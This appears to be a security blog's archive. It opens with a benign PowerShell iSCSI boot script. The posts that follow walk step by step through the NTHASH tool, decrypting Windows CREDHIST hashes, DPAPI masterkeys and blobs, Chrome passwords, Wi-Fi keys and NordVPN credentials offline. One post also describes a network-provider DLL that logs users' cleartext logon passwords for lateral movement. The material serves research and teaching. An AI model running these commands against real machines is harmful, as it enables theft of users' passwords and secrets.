Sep 042022

A while ago, we have seen here how we could play with vhd differencing disks and starwind san free product.

However, the poor scripting capabilities of starwind san free associated with a strict licensing model renders this solution dodgy.

Today lets see how we achieve a better solution with powershell and windows iscsi target capabilities.

First lest have at the script below : all it does is create an iscsi target for the incoming requests if the target does not exist yet thus enabling one to boot many client devices from one unique parent/master.

Note : creating your master image (i.e a windows that can boot over the network using iscsi is not in scope here).

write-host "#!ipxe"
write-host "clear net0.dhcp/gateway:ipv4"
write-host "set gateway"
write-host "set initiator-iqn iqn.2006-11.1"
write-host "set keep-san 1"
#if pxesrv is running on the isci target, use ${next-server} instead of harcoded ip
write-host 'set target ${next-server}'
$TargetName = $args[0]
write-host "echo TargetName: "$TargetName
$vhdpath = "C:\_images\" + $args[0] + ".vhd"
write-host "echo vhdpath: "$vhdpath
$iqn =""+$TargetName
write-host "echo iqn: "$iqn
if (-not(Test-Path -Path $vhdpath -PathType Leaf)) {
$parent = "c:\_images\iscsi.vhd"
#$result=New-VHD -ParentPath $parent -Path $vhdpath -Differencing -Confirm:$false
$result=c:\temp\vmount.exe createchildvhd $vhdpath $parent
$result=Import-IscsiVirtualDisk -Path $vhdpath
$result=New-IscsiServerTarget -TargetName $TargetName -InitiatorIds "iqn:iqn.2006-11.1"
#option : Set-IscsiServerTarget -TargetName "child1" -InitiatorId "IQN:*"
$result=Set-IscsiServerTarget -TargetName $TargetName -TargetIqn $iqn
$result=Add-IscsiVirtualDiskTargetMapping -TargetName $TargetName -DevicePath $vhdpath
write-host "echo iscsi target configured, enjoy !"
write-host $('sanboot --keep iscsi:${target}:tcp:3260:0:' + $iqn)

Lets first run tiny pxe server (as admin since we will be calling some low level powershell scripts) and lets call our powershell script from a remote device like this : (replace the ip with whatever your iscsi target is).

You should get a result like this in your browser:

clear net0.dhcp/gateway:ipv4
set gateway
set initiator-iqn iqn.2006-11.1
set keep-san 1
set target ${next-server}
echo TargetName:  aa-bb-cc-dd-ee-ff
echo vhdpath:  C:\_images\aa-bb-cc-dd-ee-ff.vhd
echo iqn:
echo iscsi target configured, enjoy !
sanboot --keep iscsi:${target}

And your iscsi target should look like this :

You are now ready to boot your devices by setting your second stage bootloader in TPS like this : http://@opt54/iscsi.ps1?@mac .

Every pxe boot device will get a new image if it dos not exist yet or will boot from its image if it exists.

side notes:

-when cloning an existing system to iscsi, you may want to disable LWF (browse to \SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}, identify your nic,
and remove any line containing {B70D6460-3635-4D42-B866-B8AB1A24454C})

-when installing a new system to iscsi, you may want to disable PagingFiles (browse to \SYSTEM\ControlSet001\Control\Session Manager\Memory Management and clear the string « PagingFiles ») – tip here, use setup.exe /noreboot from winpe and then use regedit to open your \windows\system32\config\system hive.

Jan 242021

Every time that you change the login password on your system, Windows stores the hashes of the previous password in the CREDHIST file (Located in %appdata%\Microsoft\Protect\CREDHIST ).

Lets play with the credhist file and NTHASH then.

-User test created with Password1
-I then logged in and changed password twice to Password2, then Password3.

I retrieved credhist file for that user, took it offline, then ran the below:
nthash-win64 /decodecredhist /binary:.\credhist-test.

The contains 2 entries (everytime I changed password,i.e twice).


Decryption is based on a hmac key generated from the sha1 password + the user SID.

Lets get the SHA1 of the current user password (the user SID is known in the credhist file).

NTHASH-win64.exe /widestringtohexa /input:Password3 | NTHASH-win64.exe /gethash /mode:SHA1
NTHASH 1.8 x64 by

Now lets decrypt last credhist entry i.e #1.

nthash-win64 /decodecredhist /binary:.\credhist-test /password:31F8F4DFCB16205363B35055EBE92A75F0A19CE3 /key:1

I get

This is sha1/ntlm for Password2.
Now lets decrypt previous (and first) entry i.e #0.

nthash-win64 /decodecredhist /binary:.\credhist-test /password:2277C28035275149D01A8DE530CC13B74F59EDFB /key:0


This is sha1/ntlm for Password1.


That’s it : we have seen the logic behing this credhist file and how to decrypt it.

Août 162020

In previous articles, we have seen that hashed passwords are as good as clear text passwords.

Thus, sometimes, it is nice to retrieve passwords at once in clear text.
Under windows, you can register a network provider which will be called every time a user logs on.
And the beauty of it is that it the credential manager will pass on the username and password in clear text.
Of course, you need to be a local admin to do so : we not talking escalation here but pivoting/lateral movement.

You need to implement 2 functions in your dll, nicely documented by Microsoft here and here.

Once done, you can do pretty much what you want with the data.

I am providing an example here (source code and binary) which will log to a text file the username/password.
setup.cmd will register the dll for you : no reboot needed – next logon will be logged.

Jan 272020

We now know that dpapi secrets are everywhere stored in various ways.

Lets have a look at the popular vpn client : NordVPN.
NordVPN stores its secrets (username/password) on a config file (xml format) and is using a machine scope (not good if you ask me…).

Lets see how to decrypt it.

1-Retrieve nordvpn user.config in c:\users\username\appdata\local\nordvpn\nordvpn.exe_url_xxxx\

2-Retrieve the base64 values for username and password

example below of a base64 string

3-Decode it to a hexa string

echo base64string| nthash-win64 /base64decodehexa

4-Save the hexa string to a file

echo hexastring| nthash-win64 /hexatofile

or … steps 2,3 and 4 can be done in one go (pipe in…pipe out…) like below

echo base64string| nthash-win64 /base64decodehexa | nthash-win64 /hexatofile

5-Retrieve the mk guid
nthash-win64 /decodeblob

6-Retrieve the dpapy system key

nthash-win64 /dumpsecret /input:dpapi_system /mode:machine /offline
(if machine key does not work, try user key)

7-Decrypt the (encrypted) masterkey

echo mydpapisyskey| nthash-win64 /decodemk /binary:c:\Windows\System32\Microsoft\ProtectS-1-5-18\90d6942d-4f31-4638-b756-d11efa906e52

8-Finally, decrypt the dpapi blob

echo mymksha1key| nthash-win64 /decodeblob

or … steps 6,7 and 8 can be done in one go like below

NTHASH-win64.exe /dumpsecret /input:dpapi_system /mode:machine /offline | nthash-win64 /decodemk /binary:C:\Windows\System32\Microsoft\Protect\S-1-5-18\90d6942d-4f31-4638-b756-d11efa906e52 | nthash-win64 /decodeblob

Note that, online, any user logged on that machine, could simple do the below

echo base64string| nthash-win64 /base64decodehexa | NTHASH-win64 /cryptunprotectdata

Jan 172020

In previous articles we have seen how to decrypt dpapi blobs.

Dpapi blobs are not always stored in file blobs.
They can be stored in different places like registry, config file, etc and in various formats such as hexadecimal string, but also base64 strings, etc.

Lets have a look at how Windows stores wifi passwords.

These are stored in xml files in C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces.
You can easily be found with : dir %programdata% /s /a /b | findstr /i interfaces.

When logged as the user, you can decrypt it with the below command :

NTHASH-win64 /wlansvc /binary:C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{2799BE4D-A2D4-417D-A774-481DBE1FF7FC}\{98B3A77A-3A5A-44A1-81AE-DDB88A168B24}.xml /system

Good news is that we can also decrypt it these offline.

Run the above command.
NTHASH will tell you that it failed to decrypt it BUT it will dump the blob to data.blob.

From there (and using the same steps as in this article):
-use /decodeblob to identify the masterkey guid
-use /decodemk to decrypt the masterkey (locate it with dir %systemroot%\System32\Microsoft\Protect /s /a /b | findstr /i myguid) using the dpapi system key.
-use /decodeblob again but this time supplying the SHA1 key obtained in previous step
-done 🙂

Jan 032020

In previous articles we have seen how to decrypt dpapi blobs.

What about chrome?
It uses user dpapi blobs to encrypt password in a sqlite db.
So following previous articles, nothing prevents one to decrypt a chrome db offline.

3 steps:
-retrieve the scrambled passwords along with the masterkey guid
-decrypt the masterkey
-retrieve the decrypted passwords with the decrypted masterkey

1/retrieve the scrambled passwords along with the masterkey guid

nthash-win64 /chrome /binary:C:\temp\login data /input:0000000000000000000000000000000000000000

2/decrypt the masterkey (identified by its guid in previous steps)
See previous article for more details about this steps.

NTHASH-win64.exe /decodemk /binary:C:\Users\erwan\AppData\Roaming\Microsoft\Protect\S-1-5-21-242
7513087-2265021005-1965656450-1001\ae222549-867a-4269-b29f-49500e8842c8 /input:xxE0CExx8C9903BxxDC5F1D8190xx33CF7C3DBxx

NTHASH 1.7 x64 by
**** Unprotecting MasterKey ****

3/retrieve the decrypted passwords with the decrypted masterkey

nthash-win64 /chrome /binary:C:\temp\login data /input:xx920930CFB2A1CExxF9CB52153025535F548Fxx

Jan 032020

In previous articles, we have seen how to decrypt user blobs and system blobs.

Lets now have a look at machine blobs : a blob which can be decrypted by any user provided it is decrypted on the same machine – as opposed to user blobs which can only be decrypted by the user.

5 steps:
-lets encrypt a blob
-lets decode the encrypted machine blob
-lets retrieve the dpapy system key & decrypt the masterkey
-lets decrypt the encrypted machine blob

1/lets encrypt a blob

Lets encrypt a string = password

NTHASH-win64.exe /cryptprotectdata /input:password /mode:MACHINE

2/lets decode the encrypted machine blob

NTHASH-win64.exe /decodeblob /data.blob

->note dwflags=4=machine

3/lets retrieve the dpapy system key & decrypt the masterkey

NTHASH-win64.exe /dumpsecret /input:dpapi_system /system
NTHASH 1.7 x64 by

NTHASH-win64.exe /decodemk

**** Unprotecting MasterKey ****

4/lets decrypt the encrypted machine blob

nthash-win64 /decodeblob /binary:data.blob /input:54017C46F5651B9627831F87050694FAD1B4DB31
NTHASH 1.7 x64 by
**** Unprotecting Blob ****

70617373776F7264 is hexa form of password


Similar to system blobs, once you have the dpapi system key, it is rather trivial to decrypt such blob.
Furthermore, it is not recommanded to use machine blobs to store secrets as any user on that machine will be able to decrypt it.

Déc 312019

In previous article, we have decrypted user blob/credentials.
This time lets decrypt system credentials.

5 steps:
-look at the encrypted blob/credential
-look at the encrypted masterkey
-retrieve dpapi system key used
-decrypt the encrypted masterkey
-decrypt the encrypted blob/credential

1/look at the encrypted blob/credential

System credentials are located here:

nthash-win64 /decodeblob

->note the dwFlags:20000000 = system

2/look at the encrypted masterkey

Masterkeys are located here:

NTHASH-win64.exe /decodemk

3/retrieve dpapi system key used

Because we are dealing with system blobs/credentials, and because « system » is not a user, we wont be fetching the sha1 password.
Rather, we will be using the dpapi system key to decrypt the masterkey.
Because we do this offline, you need the security.sav hive in the same folder as nthash.

NTHASH-win64.exe /dumpsecret /input:dpapi_system /offline
NTHASH 1.7 x64 by


4/decrypt the encrypted masterkey

NTHASH-win64.exe /decodemk

**** Unprotecting MasterKey ****

5/decrypt the encrypted blob/credential

nthash-win64 /decodeblob
/binary:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D /input:XX9042755B4CA2XX55FFB1F41CEDE6CD17116FXX

**** Decoding Cred Blob ****
LastWritten:31/10/2019 16:56:52


Retrieving the dpapi system is even more trivial compared to retrieving the user password (cleartext or sha1) as it is stored in the registry.
All you need is the blob, the associated masterkey and the dpapi system key stored in the registry.

Déc 302019

Lets decrypt a user credentials (which happen to be enctyped in dpapi blobs).

5 steps:
-look at the encrypted blob/credential
-look at the encrypted masterkey
-retrieve the sha1 user password and compute the sha1-hmac key
-decrypt the encrypted masterkey
-decrypt the encrypted blob/credential

1/look at the encrypted blob/credential

User credentials are located here:

NTHASH-win64.exe /decodeblob

->note the dwFlags:0 = user
We can see it is using masterkey ae222549-867a-4269-b29f-49500e8842c8.

2/look at the encrypted masterkey

Masterkeys are located here:

NTHASH-win64.exe /decodemk

3/retrieve the sha1 user password and compute the sha1-hmac key

To decrypt this masterkey, you either know the cleartext password or you know its SHA1 form (retrieved thru some other lateral movements).

If you know the cleartext password, then lets computer its SHA1.
Skip the below if you already have the SHA1 password.

NTHASH-win64.exe /widestringtohexa /input:Password12345
NTHASH 1.7 x64 by


NTHASH-win64.exe /gethash /mode:SHA1 /input:5500061007300730077006F007200640031003200330034003500
NTHASH 1.7 x64 by

Note that you can run the 2 previous commands in one go :
NTHASH-win64.exe /widestringtohexa /input:Password12345 | NTHASH-win64.exe /gethash /mode:SHA1

Now, lets compute the sha1-hmac key to decrypt the masterkey.
For this we need the SHA1 password + user sid.

NTHASH-win64.exe /widestringtohexa /input:S-1-5-21-2427513087-2265021005-1965656450-1001\0
NTHASH 1.8 x64 by

(Note the \0 to make it a null widechar terminated string)

NTHASH-win64.exe /gethmac /mode:SHA1 /key:0D32ECD47EDA6A1D3FFA259089B59798DE1D7CE0

NTHASH 1.7 x64 by

4/decrypt the encrypted masterkey

NTHASH-win64.exe /decodemk

NTHASH 1.7 x64 by
**** Unprotecting Blob ****

Note : with latest version you can skip step 3 and execute the below (i.e provide the SHA1 user password and let NTHASH compute the hmac):
nthash-win64 /decodemk

5/decrypt the encrypted blob/credential

nthash-win64 /decodeblob

NTHASH 1.7 x64 by
**** Decoding Cred Blob ****
LastWritten:15/12/2019 19:16:09

You can run it in one command eventually:
nthash-win64 /decodemk
/password:0D32ECD47EDA6A1D3FFA259089B59798DE1D7CE0 | nthash-win64 /decodeblob

6/Conclusion ?

You dont need to be online or run as the user to retrieve secrets :
If you own a blob, its associated masterkey and the cleartext password OR the sha1 password, you can decrypt these offline.

Déc 302019

In previous articles about lateral movement, we have mostly used « live » scenarios where we would either run as the victim user or we would dump secrets from (lsass) memory.

This time, lets look at dpapi secrets in « offline » scenarios.

About DPAPI, see wikipedia.

DPAPI (Data Protection Application Programming Interface) is a simple cryptographic application programming interface available as a built-in component in Windows 2000 and later versions of Microsoft Windows operating systems. In theory the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.

DPAPI secrets are made of :
-a blob containing encrypted data, linked to a masterkey (used to decrypt the blob)
-a masterkey containing one (or several) encrypted key(s)

To decrypt a masterkey (and therefore a blob), you need the below:
-non-domain context: SID AND user password (when the masterkey was created) SHA1 hash
-domain context: SID AND user password (when the masterkey was created) NTLM hash
-local computer: DPAPI_SYSTEM secret (COMPUTER or USER part)

In the next 3 (+1) articles, we will see how to decrypt dpapi secrets.

Before doing so, I recommend reading this article.

Also, most part of the knowledge and coding is greatly (understatement here) inspired by the excellent work (another understatement) from Gentilwiki and Mimikatz.